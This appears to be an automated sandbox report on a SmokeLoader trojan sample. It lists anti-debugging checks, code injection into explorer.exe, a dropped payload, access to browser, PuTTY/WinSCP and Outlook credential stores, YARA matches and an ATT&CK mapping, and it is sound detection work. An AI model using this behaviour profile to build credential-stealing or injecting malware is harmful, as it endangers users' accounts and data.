Source: explorer.exe, 0000000D.00000003.3028944586.00000000052D7000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.3331097674.00000000052EA000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2720681255.00000000052D7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWx
Source: explorer.exe, 00000002.00000000.1475801434.0000000009330000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}F
Source: CB6F.tmp.7.dr	Binary or memory string: AMC password management pageVMware20,11696494690
Source: CB6F.tmp.7.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: CB6F.tmp.7.dr	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: CB6F.tmp.7.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: explorer.exe, 0000000D.00000003.2719046288.00000000059A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: /58dkNNZeUbpzKEqNMgIfedN5t07OwVaUYdUvHAi1Vmci+AyDoG5YM9Sp6Avz8GZ
Source: CB6F.tmp.7.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: CB6F.tmp.7.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: explorer.exe, 00000002.00000000.1475801434.0000000009255000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.2375965405.000000000330C000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.2375965405.00000000032E2000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.3328845519.00000000052C4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2720681255.00000000052C4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.3929873885.00000000052C4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.3337698366.00000000052C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000002.00000000.1475801434.00000000091FB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
Source: explorer.exe, 0000000D.00000003.2719046288.00000000059A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: nN4Ob0EdihPikyg9/f2Ijp9YtJyWtm9Pt4bjD4m2I+TQnlE0jQEmu/HiZX58CXfr
Source: explorer.exe, 0000000D.00000003.2719046288.00000000059A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: F7Y4Jb8TGC2Y9elc4Q+PXVFeaNGLOMyeQu+4D4TZJIj9HVFJJRHoqeMUzmixNUIE
Source: explorer.exe, 00000002.00000000.1475801434.0000000009255000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000
Source: explorer.exe, 00000002.00000000.1475801434.00000000090DA000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWystem32\DriverStore\en\volume.inf_loc
Source: CB6F.tmp.7.dr	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: CB6F.tmp.7.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: explorer.exe, 0000000D.00000003.2719046288.00000000059A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: X0965qmFJYZTMZgkPxQrSMr0mnDTzq3h/B4LcIPnwQnvFDEojVMCisheyqbiKRaU
Source: explorer.exe, 00000002.00000000.1475801434.0000000009255000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NXTcaVMWare
Source: CB6F.tmp.7.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: CB6F.tmp.7.dr	Binary or memory string: global block list test formVMware20,11696494690
Source: explorer.exe, 0000000D.00000003.2719046288.00000000059A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: qnJ9IBIqERRPYObzqzCR4E2Pno4vEQK5S3ZmJvdJxxHaOiUt87o3qzu/N3hgfsJy
Source: CB6F.tmp.7.dr	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: CB6F.tmp.7.dr	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: CB6F.tmp.7.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: CB6F.tmp.7.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: explorer.exe, 0000000D.00000003.2719046288.00000000059A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: MV5B3gKLZfBeiIIkOrqzjInc/BDc3VmciZVyyZuAhLdyfok7kfwJgNXGoXAflaSi
Source: CB6F.tmp.7.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: CB6F.tmp.7.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: CB6F.tmp.7.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: explorer.exe, 00000002.00000000.1475801434.0000000009330000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000002.00000000.1472698024.0000000000A20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: CB6F.tmp.7.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE
Source: CB6F.tmp.7.dr	Binary or memory string: discord.comVMware20,11696494690f
Source: CB6F.tmp.7.dr	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: CB6F.tmp.7.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: CB6F.tmp.7.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: explorer.exe, 0000000D.00000003.2719046288.00000000059A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CtMruuE88zUegpohoAYRJ5dRE/S0A+7zN9dr9JB5J+VR6hgFS0rtauc+i0GQp33G
Source: explorer.exe, 0000000D.00000003.2719046288.00000000059A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Tp1R+vlrD1IQbQGaqeMUcxBijXs2eD8iAol/tEQCxHEjuBNMhnlsJ+8L3PKFV9ij
Source: explorer.exe, 00000002.00000000.1472698024.0000000000A20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00=
Source: explorer.exe, 0000000D.00000003.2719046288.00000000059A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: FRpxBXUnPrQ1RF72qpFNThLnlIDIyFvDGaGgj/xA5nx96U1DmUZuNQemu+yD60k5
Source: CB6F.tmp.7.dr	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: CB6F.tmp.7.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: CB6F.tmp.7.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: explorer.exe, 00000002.00000000.1475801434.00000000090DA000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: CB6F.tmp.7.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: CB6F.tmp.7.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: CB6F.tmp.7.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: explorer.exe, 0000000D.00000003.2719046288.00000000059A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UFrfpwV8tVMcIS3xoTFuj5TBeDaN1/q2SnijhlCzHbMQcma6JLlAb89jwcbHadsp
Source: CB6F.tmp.7.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h
Source: explorer.exe, 00000002.00000000.1472698024.0000000000A20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: explorer.exe, 0000000D.00000003.2719046288.00000000059A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: paL2NRvMCI0MgIwk3w9na8CLQs89jm8ml68lWff74o5sWe0hB35mVASi9cjw6Zgw
Source: CB6F.tmp.7.dr	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: explorer.exe, 0000000D.00000003.2719046288.00000000059A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: zky1YUFElgKHOKZFDPrTGaZ3KIn1xbublyxGLQWkIU8BbnmvMCihnACmZs/Ixgls
Source: explorer.exe, 0000000D.00000003.2719046288.00000000059A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: +OqVKFUapLs7dkeBTUj/LDdQgceC7O/XE2zjxph4fHgFSuPx5NkzZn5ezpms5G2K
Source: explorer.exe, 0000000D.00000003.2719046288.00000000059A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CaCmYyEidjs0HgLkCOUXz5yRIveOPVo422YPEhU7nqvMCiRtQKO+fno8bUejgrcf
Source: explorer.exe, 00000002.00000000.1472698024.0000000000A20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: explorer.exe, 0000000D.00000003.2719046288.00000000059A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: gx68nznXX4ETXERyNzBanQ0q7UQgKLfP7RE0ac2eJR3AHGFsyJ8lQsVMECkiBNTX

Source: C:\Windows\SysWOW64\explorer.exe

API call chain: ExitProcess graph end node

graph_13-8872

Source: C:\Users\user\Desktop\172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Users\user\Desktop\172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe	System information queried: CodeIntegrityInformation			Jump to behavior
Source: C:\Users\user\AppData\Roaming\hfetwhc	System information queried: CodeIntegrityInformation			Jump to behavior

Found API chain indicative of debugger detection

Source: C:\Windows\SysWOW64\explorer.exe

Debugger detection routine: QueryPerformanceCounter, DebugActiveProcess, DecisionNodes, ExitProcess or Sleep

graph_13-8479

Source: C:\Users\user\Desktop\172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\AppData\Roaming\hfetwhc	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 9_2_03221E4C CloseHandle,RtlMoveMemory,LoadLibraryA,GetProcAddress,LdrProcessRelocationBlock,

9_2_03221E4C

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 13_2_030CCBFA IsDebuggerPresent,

13_2_030CCBFA

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 13_2_030CE15A RtlEncodePointer,RtlEncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,RtlEncodePointer,GetProcAddress,RtlEncodePointer,GetProcAddress,RtlEncodePointer,GetProcAddress,RtlEncodePointer,GetProcAddress,RtlEncodePointer,IsDebuggerPresent,OutputDebugStringW,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,RtlDecodePointer,

13_2_030CE15A

Source: C:\Windows\SysWOW64\explorer.exe

9_2_03223862

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 7_2_00849247 LoadLibraryA,GetProcAddress,VirtualProtect,VirtualProtect,VirtualProtect,

7_2_00849247

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 7_2_007E1011 GetProcessHeap,RtlFreeHeap,

7_2_007E1011

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 13_2_030C8DF5 SetUnhandledExceptionFilter,UnhandledExceptionFilter,

13_2_030C8DF5

HIPS / PFW / Operating System Protection Evasion

Benign windows process drops PE files

Source: C:\Windows\explorer.exe

File created: hfetwhc.2.dr

Jump to dropped file

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\Desktop\172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe	Thread created: C:\Windows\explorer.exe EIP: BE19D0			Jump to behavior
Source: C:\Users\user\AppData\Roaming\hfetwhc	Thread created: unknown EIP: 80E19D0			Jump to behavior

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\explorer.exe	Memory written: PID: 1868 base: A579C0 value: 90	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: PID: 2500 base: 7FF62D872D10 value: 90	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: PID: 3424 base: A579C0 value: 90	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: PID: 2976 base: 7FF62D872D10 value: 90	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: PID: 7064 base: A579C0 value: 90	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: PID: 6984 base: 7FF62D872D10 value: 90	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: PID: 5440 base: A579C0 value: 90	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hfetwhc	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hfetwhc	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\explorer.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: A579C0	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: A579C0	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: A579C0	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: A579C0	Jump to behavior

Source: explorer.exe, 00000002.00000000.1472933550.0000000001090000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000002.00000000.1475801434.000000000936E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1473970077.00000000044D0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000002.00000000.1472933550.0000000001090000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000002.00000000.1472698024.0000000000A20000.00000004.00000020.00020000.00000000.sdmp, hfetwhc, 00000010.00000002.3928450153.0000000000AE1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000002.00000000.1472933550.0000000001090000.00000002.00000001.00040000.00000000.sdmp, hfetwhc, 00000010.00000002.3928450153.0000000000AE1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: 0Program Manager
Source: explorer.exe, 00000002.00000000.1472933550.0000000001090000.00000002.00000001.00040000.00000000.sdmp, hfetwhc, 00000010.00000002.3928450153.0000000000AE1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000002.00000000.1475801434.000000000936E000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd]1Q

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 7_2_008355EB cpuid

7_2_008355EB

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 7_2_007E2112 GetSystemTimeAsFileTime,_alldiv,wsprintfA,

7_2_007E2112

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 7_2_007E2198 RtlZeroMemory,GetVersionExW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,RtlCompareMemory,RtlCompareMemory,StrStrIW,FreeLibrary,

7_2_007E2198

Stealing of Sensitive Information

Yara detected SmokeLoader

Source: Yara match	File source: 0000000C.00000002.3926284328.0000000000801000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3926530110.0000000003001000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 7064, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 6984, type: MEMORYSTR
Source: Yara match	File source: 172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe, type: SAMPLE
Source: Yara match	File source: 4.0.hfetwhc.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.0.hfetwhc.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.hfetwhc.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.hfetwhc.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1490295117.00000000005E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1727138000.00000000004F1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1490679568.0000000002261000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1726957933.00000000001F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Roaming\hfetwhc, type: DROPPED

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\SysWOW64\explorer.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\explorer.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Remote Access Functionality

Yara detected SmokeLoader

Source: Yara match	File source: 0000000C.00000002.3926284328.0000000000801000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3926530110.0000000003001000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 7064, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 6984, type: MEMORYSTR
Source: Yara match	File source: 172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe, type: SAMPLE
Source: Yara match	File source: 4.0.hfetwhc.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.0.hfetwhc.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.hfetwhc.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.hfetwhc.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1490295117.00000000005E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1727138000.00000000004F1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1490679568.0000000002261000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1726957933.00000000001F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Roaming\hfetwhc, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	Boot or Logon Initialization Scripts	43 Process Injection	3 Obfuscated Files or Information	1 Credentials in Registry	4 File and Directory Discovery	Remote Desktop Protocol	1 Data from Local System	22 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	2 Software Packing	Security Account Manager	117 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Timestomp	NTDS	751 Security Software Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	231 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 File Deletion	Cached Domain Credentials	13 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	231 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	43 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Hidden Files and Directories	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe	47%	ReversingLabs	Win32.Trojan.SmokeLoader
172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe	100%	Avira	TR/Crypt.XPACK.Gen
172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\D700\C\Windows\SysWOW64\WalletBackgroundServiceProxy.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\D700\C\Windows\SysWOW64\WalletProxy.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\D700\C\Windows\SysWOW64\Windows.ApplicationModel.Wallet.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\D700\C\Windows\System32\WalletBackgroundServiceProxy.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\D700\C\Windows\System32\WalletProxy.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\D700\C\Windows\System32\Windows.ApplicationModel.Wallet.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\D700\C\Windows\WinSxS\amd64_microsoft-windows-w..-service.deployment_31bf3856ad364e35_10.0.19041.985_none_b6bad888bc038c2c\WalletService.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\D700\C\Windows\WinSxS\amd64_microsoft-windows-w..ice.backgroundproxy_31bf3856ad364e35_10.0.19041.1_none_fa16cd4ceba3021a\WalletBackgroundServiceProxy.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\D700\C\Windows\WinSxS\amd64_microsoft-windows-w..t-service.resources_31bf3856ad364e35_10.0.19041.1_en-us_0e357aa451e0d2d7\WalletService.dll.mui	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\D700\C\Windows\WinSxS\amd64_microsoft-windows-wallet-service.proxy_31bf3856ad364e35_10.0.19041.1_none_5f44912b33b38332\WalletProxy.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\D700\C\Windows\WinSxS\amd64_microsoft-windows-wallet-winrt_31bf3856ad364e35_10.0.19041.746_none_a953dd8b163491ed\Windows.ApplicationModel.Wallet.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\D700\C\Windows\WinSxS\wow64_microsoft-windows-w..ice.backgroundproxy_31bf3856ad364e35_10.0.19041.1_none_046b779f2003c415\WalletBackgroundServiceProxy.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\D700\C\Windows\WinSxS\wow64_microsoft-windows-wallet-service.proxy_31bf3856ad364e35_10.0.19041.1_none_69993b7d6814452d\WalletProxy.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\D700\C\Windows\WinSxS\wow64_microsoft-windows-wallet-winrt_31bf3856ad364e35_10.0.19041.746_none_b3a887dd4a9553e8\Windows.ApplicationModel.Wallet.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\hfetwhc	47%	ReversingLabs	Win32.Trojan.SmokeLoader

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV	0%	URL Reputation	safe
https://api.msn.com:443/v1/news/Feed/Windows?	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://excel.office.com	0%	URL Reputation	safe
http://schemas.micro	0%	URL Reputation	safe
https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://openjsf.org/	0%	URL Reputation	safe
http://jedwatson.github.io/classnames	0%	URL Reputation	safe
https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings	0%	URL Reputation	safe
